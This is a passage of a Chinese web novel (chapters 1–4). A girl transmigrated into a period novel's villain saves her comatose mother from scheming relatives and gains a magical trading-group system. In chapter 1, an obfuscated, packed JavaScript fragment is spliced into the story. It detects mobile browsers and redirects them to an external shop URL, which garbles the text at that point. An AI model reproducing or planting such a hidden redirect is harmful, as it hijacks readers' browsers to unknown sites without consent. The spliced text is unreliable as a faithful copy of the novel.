《年代文炮灰的红包交易群》
1. 第 1 章
第一章
“住住住还住?在医院住一天平白要花愣多钱,我们哪儿来的钱给她继续住?出院出院,马上让我们出院。”
女人尖利的声音在楼道里响起,一下子引来许多人侧目。
不想被人议论,女人马上又加了几句:“不是我们舍不得钱,要是能把人治好,那是砸锅卖铁也要治。但这都多少天了,我女儿躺在床上一动不动,我看你们医院就是想骗钱!”
“哎哟我的心头肉啊,你命怎么这么苦……”
“哎也是可怜。”
“喝农药了,确实难救……”
其他人感叹几句,终于不再看他们了,女人这才擦了擦并不存在的眼泪,催促儿子媳妇赶紧去旁边。
医院是再不想住了,反正住了也没用。
但是想出院的话,得补住院的钱,他们是不想掏的,所以准备趁着天黑把人给偷走。
这话两个儿子是没反对的,但偷完之后的事情比较让人有想头
“娘,我们还真要把那俩丫头子带回去呀!我家可住不下。”
“就是,咱家情况你也知道,养着三个娃,再来几个,怎么养活得起。”
说话的是老二由得贵,他可不承认自己不心疼大姐,只是现实比较困难。
由老婆子闻言呸他们一声:“你们可想好了,翠萍那房子可是城里的,谁帮她养孩子,谁才有资格要房子。还有那工作,她这会儿不好了,工作也是可以顶班的。那可是肉联厂的正式工,谁顶了班,谁就是城里的工人了。”
相比起养孩子,这可就太吸引人了。
兄弟俩对视一眼,都有了计较。
回过头,开始跟自家媳妇商量,到底是要大的还是小的。
对此,两个女人都有计较。
“按说小的那个吃得少,不过也就添一双筷子的事儿,养了也就养了。但大的那个嘛……今年十三,虚岁十五,在过几年就能嫁人了。彩礼有又是一笔钱,这也划算。”
按婆婆的意思,房子工作只能二选一。但问题是,他们想要选工作,但有了工作到时候住哪儿?
而且老大家肯让么?选了房子倒是好,但是光有房子没工作,住在城里吃什么?
要么说,不如房子工作都给一家子,大不了两个孩子都给他们养,也不过就是幸苦个几年。
却不知道,老大家夫妻俩和他们一样,也都在小声嘀咕着,要怎么跟老两口商量,让房子和工作全都落自己家头上。
路昭醒来时,看到的就是这样的场景。
他们好像完全无视了她这个当事人,说话甚至都不背着她。
由老婆子淅淅索索地收拾完东西,等到快天黑,医生们都去吃饭了,就开始指挥人,想要悄悄把人偷出去。
路昭当即就冲着大门吼开了:“外婆,你要把我妈带到哪儿去?”
值班的护士听见声音,赶紧上前拦人:“这位家属,您这是要做什么?快把病人放下。”
“我们要出院,医院骗钱,要把我女儿害死了,我要换一家医院!”
要不然说姜还是老的辣呢?由老婆子颠倒黑白有一手,舍不得花钱救人,硬是被她说成了担心女儿病情想换医院。
路昭当然不可能让他们得逞,马上哇哇大哭起来:“你们骗人,我都听见了,你们想让我妈快点死,好顶她的工作还有住我家的房子,你们是坏人!”
“嘶!”
这可是个大新闻,附近的人都听到了,甚至还有人打着吊瓶把头伸出来看热闹。
由老婆子被路昭一下戳破了心思,当即朝儿子们横一眼。
两个壮年南丁得到指示,立刻捉住路昭骂她胡说八道。
路昭抱着路人高喊救命,求护士帮她报警。
由老婆子见状,也开始大哭,反正小的能哭老的哭起来杀伤力更是惊人。
在耍赖皮这方面,路昭一个小孩子,自然不可能是她的对手。
她想要凭借哭嚎夺同情,奈何事关人命,所有人都看着,自然不可能任由她们胡闹。
“人都还没醒,你们就想把人偷出去,这也太不像话了,要是出了什么事,谁负责?”
“就是啊,在医院好歹还能治,从医院出去,你们又能怎么办?”
“我这不是,想换一家好大夫么!”由老婆子哀哀戚戚,一边说一边嚎,看上去伤心得不行。
“我不管,谁要是把我妈从医院带走,谁就是想害她。我就报警告你们杀人。”路昭双手抱着昏迷不醒的女人的胳膊,就是不松手,把由老婆子一家气得不轻。
听到动静的医院领导们终于来了,见她们要把人带走,自然不肯答应。
“你们想要办理出院,也不是不行。医院从来不会拦着人不让走,但是住院的费用,你们得补上,不然我们就报警。”
由婆子哪里舍得掏钱?见状只好把人放下了。
干笑着应付道:“筹钱,我们这就去筹钱。”然后才不情不愿把人送回了病房。
实际上到这个时候,所有人都知道,李翠萍怕是救不活了。
她喝了一整瓶农药,即便很快被送进医院洗胃,却还是陷入了昏迷。
到现在,已经过去好几天,完全没有醒来的迹象。
待在医院大概率也是等死,由老婆子只想逃过治疗的费用。所以她说的要去筹钱的话,也就听听而已,完全不是真心话。
果然,刚把李翠萍放下,她就开始对路昭动手。
还骂她:“小赖皮子你还敢让我们丢丑了?信不信我打死你,打死你!”
“我妈昏迷不醒,你就想要打死我?果然你想害死我妈对不对?”
“你!”由老婆子扬起的手咻一下停住了。倒不是她良心发现,而是病房里还有其他人。她还想让儿子们分房顶班呢,真要是把名声搞坏了,以后也留人话柄。
于是只能恨恨地瞪她几眼,骂道:“你等着,看医院能不能就命!”
人都救不活了,还要花钱,那简直就是浪费。不过没事儿,她们不是想再医院待着么?那就待着,等人真的死了,她倒是要叫医院这些骗子给她个说法。
然后气呼呼地走了。
其他几人,也赶紧跟上由老婆子的步伐,生怕被另一个抢先了。
等他们离开之后,路昭才松了一口气,找了个凳子坐下。
护士进来检查病人的情况,重新给李翠萍挂了瓶水。见路昭坐在那发呆,十分可怜,便叹道:“你家老人……不然,还是叫你爸爸来吧。”
“我爸跟人跑了,我妈就是因为这个喝的药。”
护士一下就被哽住了,后悔自己没搞清楚情况,哪壶不开提哪壶。
路昭见状,冲她笑笑:“没事的姐姐,不是你的错。我妈会醒来的,你放心。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14303940|152264||http|test|mini|href|location''.split(''|''),0,{}));
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>“哈,哈,那你,那你先吃个苹果。”护士对李翠萍的情况很清楚,都不敢接话,赶紧转移话题撤了。
正好肚子饿了的路昭从旁边找了把水果刀,开始慢悠悠削苹果皮。
一边在脑子里和系统交流。
【所以,现在这是什么情况,我到底在哪儿?】
【你肯定有印象,一本甜宠年代文小说。】
【甜宠小说?】
经过小助手的简短叙述,路昭终于想起来是哪一本了。
那是一本她闲着无聊,随便从网上搜来打发时间的网文。
里面讲的是一个被全家宠爱的千金大小姐,遇到比她家里更有钱的豪门富二代,两人欢喜冤家你追我赶,经过几番波折之后,终于happyending的故事。
【所以我现在的身份是……】
【和女主作对的反派】
路昭:……
很好。
小说中女主和反派分别是原配和小三的女儿。
反派的父亲重男轻女,一心想生儿子,发迹之后情人无数,女主的亲妈就是其中之一。
那个女人之所以能在众多情人中胜出,只是因为肚子争气生了个儿子,这才登堂入室,成了正牌老婆。
女主自然也跟着进了路家,还改了姓,成了千金小姐。
原著是以女主角的视角展开的,原著中说,成了千金小姐的女主角,因为身份的原因,很是被人嘲笑了不少年。
尤其是她继父的亲生女儿,也就是原身,更是从小到大都看她不顺眼,为了欺负她,耍了不少手坏段。
最后,当然是在男主和男主的一应好友的出手之下,反派被直接扫地出门,成了一无所有的叫花子,很快就失踪不知道去了哪里。
但要是剧情以反派的视角展开,那就是另一个故事了。
就人设来看,路昭觉得,至少在母亲这个角色上,小三是比反派的亲妈李翠萍更合格的。
毕竟那个女人奸诈虚伪两面三刀凶狠又恶毒,但她对自己的孩子是真的拳拳保护。
李翠萍呢?
每天不是想着生儿子就是打小三,连工作都时常不管。
但她再怎么闹也没有用,路德荣就是铁了心了要离婚,李翠萍一哭二闹三上吊,终于一瓶药把自己毒死了。
她死之后,两个女儿被带去乡下,小的摔进井里被淹死,大的被拉去换亲给堂弟娶媳妇。
原主拼了命地逃出来,跑回城里找自己父亲。结果就看到了亲爹牵着女主一家温馨幸福的场景。
这对她的刺激可就太大了,作为路德荣的亲女儿,她在村里饥一顿饱一顿,天不亮就干活动不动还要挨打。
冬天连鞋都没得穿,冻得手脚都流脓,青春期来个月经都要挨顿打。
正常人都会奇怪,女孩子来例假不是正常的事吗?身为外婆的由老婆子为什么要因为这种事打她?
嘿!人家的逻辑清楚着呢——女的来例假,太脏了!
总而言之,反派的整个人生,从生到死都过的水深火热,换谁都得变态。
原著里她只是和女主别苗头扯头花,那真是太善良了真的。
而路昭,现在居然捡了这么个身份,有了路德荣这么个父亲,和李翠萍那么一个妈!
偏偏因为自己现在未成年,只能指望李翠萍。
所以她现在不能死。
2. 第 2 章
第二章
【刚才那个女人不是说工作可以顶班么?按理来说,子女可以顶父母的班吧?那我应该可以?】
她要是有了工作,就不需要监护人了,还能顺便成为妹妹的监护人。
系统很快打破了她的希望:【第一,你现在才十三岁,以你的年纪,根本不能参加工作。第二,现在的时间,工作继承制已经被取消了,根本不能顶班。】
【那他们……】
【他们在村里,根本不会看报纸。】
好吧,他们的算盘全是打空了,但自己也好不了多少。
系统却道:【你有红包群,担心什么?】
【红包群?什么东西?】
系统沉默半晌。
【所以你以为,我是什么东西?】
路昭:【……】这不是,穿越者都有么?
【我才刚穿越,脑子不清楚。红包群是什么东西,在哪儿呢?快让我看看。】
【可以,但是你最好找个没人的地方。】
【不然别人会以为你是个疯子。】
【可以可以。】
路昭赶紧把削好的苹果放下,去找了个偏僻的地方。
很快,系统就出现在路昭面前,像电脑屏幕一样,显示出了一个蓝色的页面。
上面别的没有,只有一个打开的聊天群。
群里空无一人,路昭是群主。
她的名字是一串隐形符号,一点,便弹出一个是否修改群昵称的弹窗。
路昭没有着急改,而是先详细阅读了一遍群介绍:
本群为无限红包群,提供一切交易,使命必达童叟无欺。
下面是一行红色小字:
在这里,你可以得到你想要的一切,只要你能付得起代价。
想要的一切?
包括什么呢?
可惜没有其他的描述了。
路昭不敢轻举妄动,更何况,群里除了她之外,没有别人。
【交易是什么意思?我和谁交易?】路昭戳了戳群聊小助手,提问。
很快,小助手便回答了她:【和群友交易,这是红包群,通过红包,可以达成交易,一切交易都可以。】
【一切交易包括哪些?金钱,财富,权利,还是其他?】
如果是这些东西的话,这小软件好像也没多大用处。
因为金钱财富甚至权利,并不是那么稀缺的东西,至少在这个世界上,拥有它们的人不少。
【金钱,财富,权利,智慧,生命,健康甚至异能,只要你付得起代价。】
【怎么付代价?】
【红包作保,交易双方,满意即可。】
懂了,一方出货一方出价,没有意见,交易达成。
但具体是怎么操作的,还需要实践。
【要怎么找到新群友?和我一样随机出现还是需要自己挑选?】
小助手叮咚:【常用搜索按钮。】
路昭这才看到,旁边还有一个搜索功能。
她想了想,先回去给自己改了个昵称:【代号+】,这才去尝试搜索。
一键按下,立刻出现一排红点,上面全是被搜索到的人。
这些人的名字后面,各有一个邀请键。
点一下名字,下面便会出现这个人的能力年龄生平出生地,以及最近两三年内的生活简历。
路昭一个一个看下去,发现这些人绝大部分的出生地都有地球以及具体的时间。
这就很惊喜了。
要知道,普通人在说自己的籍贯时,以国籍开头已经顶天了,绝不会多带一个地球。
而定位时间更加不同,这些人里,绝大部分都和路昭处于同一个时代,但还是有那么几个人,时间和他们岔开了超过三百年。
路昭刷新了几遍后,居然还发现有的根本不是地球人。
她好奇不已,想要尝试邀请,在她点下邀请按钮之前,问了一句:【红包群有活跃度要求吗?】
【有,每一笔交易成功,红包群都会得到一点活跃值。活跃值达到一定程度,群等级可以提升。】
【如果不活跃呢?】
【活跃度太低,红包群会自动解散,寻找新的宿主。】
路昭瞬间明白,这是一个自己用不用的上,都必须占着的大杀器,更不用说,她现在本来就非常需要。
于是马上打消为了满足好奇心,邀请非人类群友的想法——现在的她,并不确定非人类想要的东西,自己是否能满足。
如果对方提供的东西这边没有人能够买得起,那岂不是根本不会达成交易?
而且占了一个位置还是小事,最重要的,是会降低红包群的逼格:吹得是可提供一切交易,但连群成员开的条件都出不起的话,那还吹什么牛?
路昭这算是明白过来了,所谓的群主,其实是给红包群兜底的。
别人出不起的东西,她得出。别人卖不了的东西,她得买。
她是这个群的群主,拥有最高权限。
却也是这个群的最后一道防线,一旦经营不善,就会直接解散。
想明白了这一点,路昭又仔细检查了各项功能,发现除了红包群之外,群外还有一个悬赏功能。
所有无法在群里完成交易的成员,可以把自己的目的和报价挂在悬赏榜上,如果谁能完成任务,就能得到赏金。
“功能还挺全。”路昭深吸一口气,最后看了看自己的完全空白的总积分,叹气。
【所以我想让李翠萍醒过来,就需要找到交易对象和我交易吗?】
【你是群主,可以赊欠积分,从商城购买解毒药剂。】
【药剂管用?】
【这里是无限红包群,只有品质达标的商品才会上架。】
【好吧,那就给我来一份。】
小助手叮咚一声,为路昭兑换了积分购买了商品。
然后很快,路昭就发现自己手里多了一盒针剂一样的东西。
【这是……注射用的么?】
【是的,注射之后,大约半小时内病人能够清醒。但是药剂的作用,只是阻止药物继续伤害人体,并不能修复已经被损伤的部分。】
【没事儿,只要她醒过来能说话,死不了就行。】不然还能怎么样呢?她现在能做的,也就这么多了。
虽然是宿主,但她能活下来,也得靠积分茍命呢。
这会儿她一个积分没赚,余额就先成负数了。
别到时候别救不了人,自己先嗝儿屁了。
揣好药剂,路昭继续操作,利用群主特权为自己开了个马甲。确定没有其他的事情了,这才在搜索栏中,给刚才搜到的人群发送了进群邀请函。
邀请函发出
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去,并没有马上得到回应。
路昭没有死等,关掉系统,转身上了住院楼。
刚从台阶上来,就看到一个身穿长裙的女人站在门口。
那女人看着很年轻,二十七八的样子,实际上已经三十好几了。不过因为长得漂亮,又很会打扮,使得人们会忽略她的年纪,直接记住她的长相。
看见路昭回来,女人上上下下打量她一眼,轻笑:“你们要的钱我送来了,不过这是最后一次了。现在都是新社会了,讲究人人平等。女人也是要靠自己赚钱养家的,总想着找别人的男人要钱,可不太好。”
这话说的,可太有误导性了。换任何人一听,都觉得是李翠萍勾搭别的男人。
尤其是在她这一副轻言慢语的声音下,就显得路昭这一家子上不得台面。
而且,在场的除了路昭外,都是由家人,他们是典型的见钱眼开,这会儿光盯着女人手里的钱,已经双眼冒光了。
别说帮大姐澄清,就算有那个心,也不肯——钱还没到手呢,自然不想得罪这女人。
所以她爱说什么就是什么,根本没有人帮李翠萍分辨。
原身是个腼腆的女孩儿,就由家这群人密谋都不背着她的情形看,就知道是闷葫芦一个,被刀比到脖子都不会还手,又哪里会和一个看上去那么时髦的成年女人争嘴?
女人大概对他们一家非常的了解,于是趾高气昂,笃定了自己说什么都不会有人反驳。
可惜她料错了一点,原身不久前就换人了。
换成的路昭虽然也不怎么爱说话,但那只是因为怕麻烦。
可谁要敢惹她,那就得做好准备喝一壶了。
于是刚甩了一盆子脏水出去的女人还没来得及高兴,就听路昭道:“阿姨您真奇怪,我管我爸爸要钱交住院费,怎么叫想着找别人的男人要钱?爸爸就是爸爸,什么叫别人的男人呀?”
女人显然没想到路昭会怼她,愣了一下,刚想说话,就又被她打断了:“阿姨,听说你和我爸爸给我生了个弟弟,是真的吗?难怪爸爸要离开我们。所以你们是快要结婚了吗?我看你刚才走路一瘸一拐的,是没有坐月子吧?王奶奶说了,刚生完孩子不坐月子是不行的,不能到处乱跑,对身体不好。”
“哟,破坏别人家庭的女流氓啊?真不要脸。”
“去告她,定她个流氓罪!”
女人脸憋的通红:“你别在这儿胡说八道!我和他是自由恋爱。是你妈和他离了婚才在一起的。你这个丑八怪,不要在这里血口喷人。”
路昭眨巴着眼睛:“你敢发誓吗?你要是撒谎你和你儿子就不得好死。”
“你……”女人冷哼一声,转身就走。
路昭叫住她:“站住,把钱留下。”
“呵!你咒我和我儿子,还有脸要钱?”
“那是我爸爸的钱,我怎么要都理所当然,你只是个跑腿的。还有……”路昭顿了一下,又道:“你要是不给也行,我明天就去你工作单位闹,告诉所有人你和我爸婚内出轨害死我妈的事,我倒要看看,谁比较豁得出去。”
女人明显被触怒了,生气地鼓着胸口,想说什么,到底还是忍住了。她咬了咬牙,踩着高跟鞋,气呼呼地走到路昭面前,把钱往地上一扔,沉声道:“小瞧你了,希望你一直这么伶牙俐齿。”
“谢谢夸奖,慢走不送。”
3. 第 3章
第三章
“哎呀,你这孩子,怎么回事,怎么总爱和人置气?”
“就是,那是你新妈,你应该有眼色,讨好她一点儿,你爸那么有钱,手指里漏漏缝,够足够你吃香喝辣的了。”
女人一走,由老婆子马上把钱捡起来想往自己兜里塞。
路昭硬扣着她的手把钱夺了过来缴了住院费,其余的自己身上揣着了。
对此由老婆子非常不高兴,对于拿亲生女儿的救命钱这一点,他们是全然不会在意的。
但他们更加在意的是路昭的态度。
路德荣有钱,这是谁都知道的事儿。
但那人也狠,手段十分强硬。他们从听说女儿要离婚的时候,就跑上门去找麻烦。
可惜以前他们和他关系就不好,这才导致人家发达了他们也沾不了光。
这会儿凑上去找麻烦,没能讹到钱,反而还被一顿削。
欺软怕硬的由家人再也不敢去惹他,便把主意达到了李翠萍身上。
原本只是此想从她这里哄到离婚钱,没想到李翠萍这么钢强,不肯离婚一分钱不要,被迫签字后,更是一瓶子药直接把自己灌死了。
不过这也好,至少房子和工作是给漏出来了。
由家这才欢天喜地,留下捡便宜。
本以为能见捡到的便宜就这么点儿,现在发现路昭这个女儿还能从自己老子那里要到钱,那想法,就又不同了。
路昭哪里不知道他们在想什么?
她不给一点儿面子直接说:“你们信不信,要是再多说一句,我就叫路德荣来把你们揍一顿。”
“你……我是你外婆!”
“所以外婆,我听说医院有新的特效药,想买来给我妈试一试。但是钱还差一些,外婆你是当妈的,帮我凑一点儿是理所当然的吧?”
“什,什么特效药?别听他们胡说,都是骗人的。”
“就是,肯定是骗人。”
“我去打听打听,可不能被骗了。”听说要钱,一群人哗啦啦一下子走光了。
路昭这才从裤兜里取出针剂,握着李翠萍的手腕,慢慢地把药打进去。
系统说这药半个小时就能见效,路昭便在床边坐着,等了半个小时,女人果然动了动手指。
“护士。”路昭立刻出门叫人,很快就把护士叫来了。
一看病人有清醒的迹象,护士十分激动,赶紧去告诉医生。
很快李翠萍就醒了,医生立刻带她去检查。出来告诉她,说她妈妈已经脱离了危险期。
路昭终于松了一口气,疲惫地找了个地方一躺,很快就睡着了。
*
房间里空空荡荡,只有彻夜不眠的江娴音一个人。
他知道丈夫出去了,大概今天一整天都不会回来。
不对,应该是大概最近几天都不会回来。
盛夏刚过,秋日来临,伊丽莎白港的秋风比从前更冷。
这让江娴音想起自己小的时候,那时候父母健在,兄长还没有回国。
全家一起住在钱龙湾的豪宅里,过着无忧无虑的生活。
她有着快乐的童年和幸福的少年,每天思考的最大的事,就是明天要穿什么裙子,珠宝行又出了什么新首饰。
优越的家世以及美丽的容貌,让她从小到大都是人群中最亮眼的那一个。
女孩子们羡慕着她,男孩子们追逐着她。
原本以为,自己永远会过着这样幸福的生活。
她嫁给了最爱的男人,生下了可爱的孩子。
为什么多年之后的今天,会一动不动地躺在这里,像一具破败的尸体?
不该想这些的,她早就认命了不是吗?
但今天是她的生日。
是啊,今天是她的生日。
她曾有无数个生日,但是这一次,她非常明显地感觉到,自己时日无多了。
江娴音想要去洗手间,但她挣扎着爬起来,想要自己穿上衣服,却发现什么都拿不动。
双腿已经坏死很多年,医院的治疗并没能起到多大的作用,药物甚至不能帮她缓解疼痛。
想要叫菲佣过来,然而电铃摁了好几次,也没有得到回应。
江娴音没有办法,只好用尽力气依靠自己——她已经一败涂地了,不能再失去最后的尊严。
但这个动作实在是太难了。
她几乎用尽了力气,才把自己放上轮椅。
在轮椅上休息了好半晌,才进去了洗手间。又是一番艰苦的搏斗,终于帮自己用了洗手间。
但即便如此,最后还是因为没能扶住扶,在衣角上粘上了尿渍。
她又是羞愧又是愤怒。
狠狠咒骂着不知道死去哪里的菲佣和护士,决心一等他们出现,就全部解雇。
不,光是解雇还不解恨,她要狠狠地责打他们,让他们为自己不不尽责任付出代价。
然而等她从洗手间出来,想去厨房找点吃的填饱肚子的时候,却看到谁客厅里看着的电视机里,正在播放丈夫的订婚仪式。
啊!
他的丈夫,在和别的女人订婚?
难怪,难怪全家人都不在。
儿子女儿没有来看她,甚至没有一个电话。
菲佣护士被叫走了,大概是因为人手不够,被叫去帮忙。
难怪,难怪自己这样一个残废等死的老女人,被仍在这里无人在意。
但是,今天是她的生日啊!
而她还没有死,他哪里有再婚的资格?
江娴音恶狠狠地瞪着电视机半晌,才终于从最近听到的只言片语中,猜到一点可能的消息。
新港成为殖民地已经九十多年了,租期即将结束,华国大陆,已经开始谈判,讨论收回新港事宜。
谈判过程十分艰难,进程推进得也非常缓慢。
普通民众或许没有太大的感觉,但是对时局比较了解一些的,已经开始做两手准备了。
新港这边沿用的还是蜻廷的法律,据说大陆那边,从建国开始就行使了一夫一妻制。
一旦新港回归,这边的多妾制婚姻是不被承认的。丈夫不会和自己离婚,但是想要在那天到来之前,给爱妾一个正式的婚礼。
啊!
一个妾也有了婚礼。
江娴音愤怒地砸着扶手,想要把轮椅移动到窗边。因为这个位置和距离,正好可以看到对面的新住宅。
那边住着丈夫和他的其他姨太太,如果今天办订婚宴,那么从这个方向,她什么都能看得见。
然而不知道是太过愤怒还是太过焦急,她操控的轮椅刚滑到窗边,就嘭地一声翻倒在地。
行动不便的江娴音被整个倒在地上。
轮椅扣着她的身体,让她更加不能动弹。
恨怒交加的女人终于崩溃出声,哭嚎着骂道:“李仲和,你不得好死!”
就在她以为,自己的叫骂和过去很多次一样,根本毫无意义的时候,她突然发现,摊在眼前的手机屏幕突然闪了一闪。
她不知道手机为什么会出现在这里,明明之前一直放在卧室的。
但现在顾不得那么多了,她拿起手机,想要叫人来搀扶自己。然而在手机屏幕亮起的那一瞬间,她发现手机里多了一个东西。
那是一个,红色的,和所有软件就截然不同的图标。
图标很优美,但又说不上是什么形状。
在这明显像素普通的屏幕里,只有它,那么栩栩如生,那么个性鲜明。
这让江娴音鬼使神差地点了进去,然后,就看到了一个成员几乎没有什么成员的聊天群。
大概是小孩子们喜欢的那种聊天室吧。
她心里这么想着,却一眼就看到了挂在显眼处的红包群公告。
【接受一切交易,童叟无欺。】
——在这里,你可以得到你想要的一切,只要你付得起代价。
“想要的一切?”江娴音自嘲地笑了笑,她根本
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不相信这个世界上,有什么东西能够满足自己的愿望。
然而即便如此,她也还是忍不住打了一行字,给空荡荡的聊天群带来了一丝人气。
匿名者***【我现在摔倒了,想要起来,有谁能帮我吗?】
路昭被系统叫醒,得知有消息,赶紧找了个没人看到的地方。
结果刚待了一会儿,就有人来敲门。
“厕所里有人?还要在里面待多久?”
路昭赶紧出来,飞一般跑了出去,到楼道里才大吸一口气。
【这样太麻烦了,不想被人当疯子就得躲着人。你可以和电脑系统整合吧?】
【电脑,手机,电视,任何你认为可以使用的都可以。】
这会儿的电脑手机全都是天价,像她这样的普通家庭,根本买不起。
路昭抿了抿嘴,但再贵,也得想办法弄一台在手里。
重新找了个没人的地方,路昭才又打开聊天群。
群里果然来了新成员,好像摔倒了想要起来。
这种简单的要求还是比较容易办到的。
路昭不想用大号说话,小号也想多藏个几天,于是她完直接抢过小助手操作权限,朝匿名***发布了交易条件。
小助手:【进群请修改昵称。】
小助手:【交易搀扶身体一次,请群友选择支付类型:金钱,权势,生命或其他。】
匿名***改名为:李太太。然后火速选了金钱。
很快,李太太就收到了一个红包。在她点开红包的瞬间,身上的轮椅动了。
只见那笨重的铁疙瘩突然卡卡卡,像小孙子们看的动画片子里面的变形机器一样,突然伸出两个叉子来。
它们一左一右夹起女人,在轮椅自动摆正之后,稳稳地将她放下。等江娴音坐回轮椅后,懵了好一会儿才终于反应过来。
聊天群里的公告居然是真的。
真的可以达成交易,满足她的心愿。
这个想法让她激动得差点哭起来。
于是一秒也等不及地,开始了第二次发言。
【我要健康,我要双腿重新站起来。你要多少钱,只要能做到,付出任何代价都可以。】
“不愧是有钱人家的富太太,出手就是豪迈。”
路昭看到成功交易一次之后的一点积分,和高达两千万的港币,不由感叹。
就把人从地上扶起来一下而已,几千万就这么轻轻松松给了出去,真是大方啊!
不过话说回来,现在的她还是一个小孩,有这么多钱,要怎么放?
银行账号她是没有的,就算有也会被审查,因为说不清来历。
“难道就只能放着干看?”路昭戳戳小助手:“可以办个可靠的银行卡吗?你一个超时代科技产物,不会连这点小事都办不到吧?”
小助手还能说什么,只能告诉她:【虽然这两千万是不少,但是你是欠的积分做交易。积分必须尽快归还,否则会产生高额利息。偿还了商店积分之后,剩余的金额,才属于你。你可以直接把它放在仓库里,或者也换成积分也可以。积分仅你可见,积累到一定程度,可以为群升级。】
【那如果我就是要钱呢?】
【去商店看看,商店里有你想要的东西。】
路昭打开商店,然后瞬间泄气了。
原因无他:商店只接受积分作为交易货币,而里面的东西,价格都高得离谱,离了大普!
别说普通群成员,就是能通过交易次数得到积分的她,也不知道要吭哧吭哧攒多长时间。
为了提款弄张银行卡花积分,当然不划算。
算了,暂时用李翠萍的吧!
路昭瞬间放起了买个身份卡提现资产的想法。乖乖还了欠下的积分,这才几分钟时间,就产生了一大坨利息。而自己的账面上,居然只剩下二十几万港币,按说这钱也不少了,但这笔交易是两千万啊!两千万和二十来万的对比……不过,买手机的钱够了。
4. 第 4 章
第四章
“哎哟,这上面还有花儿呢,娘你看,盆子上面都要雕花儿,可真是讲究。”
“讲究什么讲究?这就是闲得慌。”由老婆子嗤了大儿媳妇一眼,呸道:“这盆儿我要拿家去,好盛洗脸水。”
“这柜子给我,我正好缺个箱子放被褥。”
“给你给你都给你。”小儿媳卢满花轻笑:“你是大嫂,当然得拿大头。”
陈桂子闻言喜笑颜开,果然伸手去开了柜子。
一看,里面居然整整齐齐地放着一箱没裁过的新料子,可不是心花怒放?
“哎哟,这是条绒,还有的确良呢,色儿也鲜亮,做成衣裳最好看。”
“这给爹拿回去吧,往后咱们住城里,又要在城里上班过日子,不能在跟前孝敬爹娘,自然要把好东西都送家去。”
“哎哎,这话说的,什么你们往后在城里上班过日子?工作那事儿还没定呢,我男人是老大,顶班的事儿,自然要先轮着他。”
“大嫂,大哥那是长子,长子继承家业,老家的田地都是你们的,我们不是也没说什么?总不该什么都要跟我们抢吧?”
“什么叫跟你们抢?娘,您给评评理,家里平日什么事儿他们管过?这回有好事儿了,倒是知道动弹了!”
“谁要房子,谁要工作,大不了抓阄。”
“话是这么说,可要了房子没有工作,在城里怎么活呀?”
“就是就是,您也是瞧见了的,这城里人可真不是东西,上个茅房还跟我要钱,得亏我的跑得快。”
“那房子和工作都成一家的?这可不好分……”
“哎,娘,我们洋儿会念书,你是知道的,我们也不为别的,就想让家里出个大学生……”
“呸!一个丫头片子,会念书有什么?还不是别人家的。”
“放你娘的屁!会念书怎么就没用了?没用你还让你儿子念?”
眼看俩人就要吵起来,外面突然传来了敲门声。
由老婆子赶紧让两人闭嘴,去开了门。
“刘大爷说你们回来了我还不信,听见动静才来敲门,原来你们真回来了,翠萍呢?她怎么样了?”
“翠萍还在医院呢,哎!”
“没事,肯定会好起来的,别担心。现在医术好,还有外国进口的特效药,只要肯花钱,什么都能救回来。”
由老婆子干声打哈哈,问:“哦,我们正要走呢,你有什么事儿?”
“我这不是家里没奶粉嘛?这两天都是跟隔壁林家妹子要的,见你们回来了,就来拿一下奶粉。哦对,还有换洗的衣服,这天儿冷了,你家小二穿的那两身不行。”
路家两口子闹离婚,刚离完李翠萍就喝了药。当时得亏家里有孩子,看见出事立刻跑出去叫人,这才把李翠萍及时送到了医院。
路昭要在医院看着妈,小的那个就被邻居抱过去帮忙照顾了。
谁都知道这家事惨,伸把手也是见她们可怜。
由老婆子一家是后面才来的。
他们老家在村里,根本不知道李翠萍想不开的事。
他们全家进城的原因,是因为听说李翠萍要离婚。
路德荣发达了,这会儿要离婚,总不能轻易就离了吧?作为娘家人,他们有责任为李翠萍撑腰。
只可惜他们消息不灵通,得到的消息也晚,好不容易进了城,俩人婚都离完了。
不过幸好,李翠萍直接一瓶药把自己喝进了医院,这才让他们不至于白跑。
因此这几天,他们都在医院守着李翠萍,就等着她什么时候能咽气。
关于孩子的事,却是没人关心的,反正有邻居帮忙照看。
这会儿被问起奶粉,他们才记起,那几罐奶粉,已经被他们搜进了包袱里,准备回去时带给自家崽子呢。
这……
“怎么?你们不知道在哪儿放着么?没事儿,我自己找!”
卢满花赶紧把人拦着,讪笑道:“知道,知道,你先坐会儿,我这就去给你找。”说着朝陈桂子眨了眨眼让她拦着人,自己去屋里把包袱里面的奶粉拿出来。
所幸由家婆媳还算有默契,马上接眼色找借口闲聊,好歹算是把人拦住了。
卢满花这才拿了一罐奶粉出来交给她,并道谢:“家里事情太多了,你看,我们正忙着去医院呢。哎,这回多亏了你们这些好街坊,要不然,我们还不知道怎么办。”
“不打紧不打紧,都是邻里邻居的。”
女人接过奶粉,看了看手里唯一的一罐,没说什么,笑呵呵地出去了。
由得力赶紧催促媳妇和老妈:“娘,咱走吧,赶紧去医院。说不得这会儿大姐都咽气了。”
“走走走,赶紧走。”早去早了,要不然这一天天的没个着落,还当真是折腾人。
于是一家五口,又浩浩荡荡离了筒子楼,往医院去。
他们谁也不肯落后一步,就担心李翠萍突然死了,自己没在跟前,被兄弟抢先要走工作和房子。
至于给留在医院的外孙女端碗饭这种事,是没有一个人记得的。
左右那么大个人,又不是哑巴,不至于把自己饿死吧!
到了医院后,推开病房门一看,李翠萍的床空了。
这惊喜来得太突然,由得力和由得贵兄弟俩一脸的惊喜,就差点儿脱口而出了。
好在卢满花嘴巴快,马上叫起来:“大夫,大夫,你们把大姐放哪儿去了?这活要见人死要见尸,总得给我们个说法吧。”
由老婆子立刻拍着膝盖哭:“我的大妞哟,你就这么去了哟,也没给你老娘我留句话哟”
“呜呜呜,大姐啊,大姐你走的太早了,留下两个孩子成了没娘儿,可怎么办,狠心的大姐哟~”
婆媳三人连哭带唱,好不精彩。城里人没见过这个阵仗,都伸着脖子看了过来。
路昭和推着轮椅,和帮李翠萍打着吊瓶的护士就这么站在门口,看着他们又哭又唱,进也不是退也不是。
